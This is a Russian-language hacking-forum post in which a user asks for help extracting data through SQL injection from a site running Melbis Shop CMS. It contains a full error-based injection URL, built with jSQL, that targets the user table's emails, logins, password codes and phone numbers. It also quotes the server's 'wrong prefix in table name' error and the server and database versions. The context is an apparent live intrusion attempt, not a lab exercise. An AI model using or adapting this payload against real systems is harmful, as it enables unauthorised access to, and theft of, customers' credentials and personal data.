Показать сообщение отдельно

  #3  
Старый 13.06.2018, 21:43
kacergei
Новичок
Регистрация: 26.05.2007
Сообщений: 8
Провел на форуме:
23906

Репутация: -5
По умолчанию

Добрый подскажите касательно sql-inj:

Хост/имя юзверя/название БД/Таблиц/Колонок - вытаскивается отлично (Как и в sqlmap|jSQL|так и ручками, через тот же Extractvalue)

Но не дает вытянуть данные:

Например при таком запросе (jSQL):

Код:
site.ru/maps.php?gorod=%c2%e8%ed%ed%e8%f6%e0'or(select+1+from(select+count(*),concat(((select+concat(0x53714c69,mid((select+concat(group_concat(0x04,r,0x05,q,0x04+order+by+r+separator+0x06),0x01030307)from(select+cast(concat(trim(ifnull(`add_group_id`,0x00)),0x7f,trim(ifnull(`email`,0x00)),0x7f,trim(ifnull(`group_id`,0x00)),0x7f,trim(ifnull(`id`,0x00)),0x7f,trim(ifnull(`is_provider_id`,0x00)),0x7f,trim(ifnull(`login`,0x00)),0x7f,trim(ifnull(`name`,0x00)),0x7f,trim(ifnull(`pass_code`,0x00)),0x7f,trim(ifnull(`phone`,0x00)))as+char)r,cast(count(*)as+char)q+from`uzver_frontenda`.`MS_user_shop`group+by+r+limit+0,65536)x),1,64)))),floor(rand(0)*2))from+information_schema.tables+group+by+2)x)or'--+
В ответ:

Код:
Error occured, script stoped
Error type: Parser Error  Source, line: Parser[359]  Error: Wrong prefix in table name!
Error information:
 Use key {DBNICK} to set prefix key for table: MS_user_shop
Доп данные:

CMS: Melbis Shop

Web: PHP 5.3.3, Apache 2.2.22

Mysql: 5.1.73-log

Is DBA: False
 
Ответить с цитированием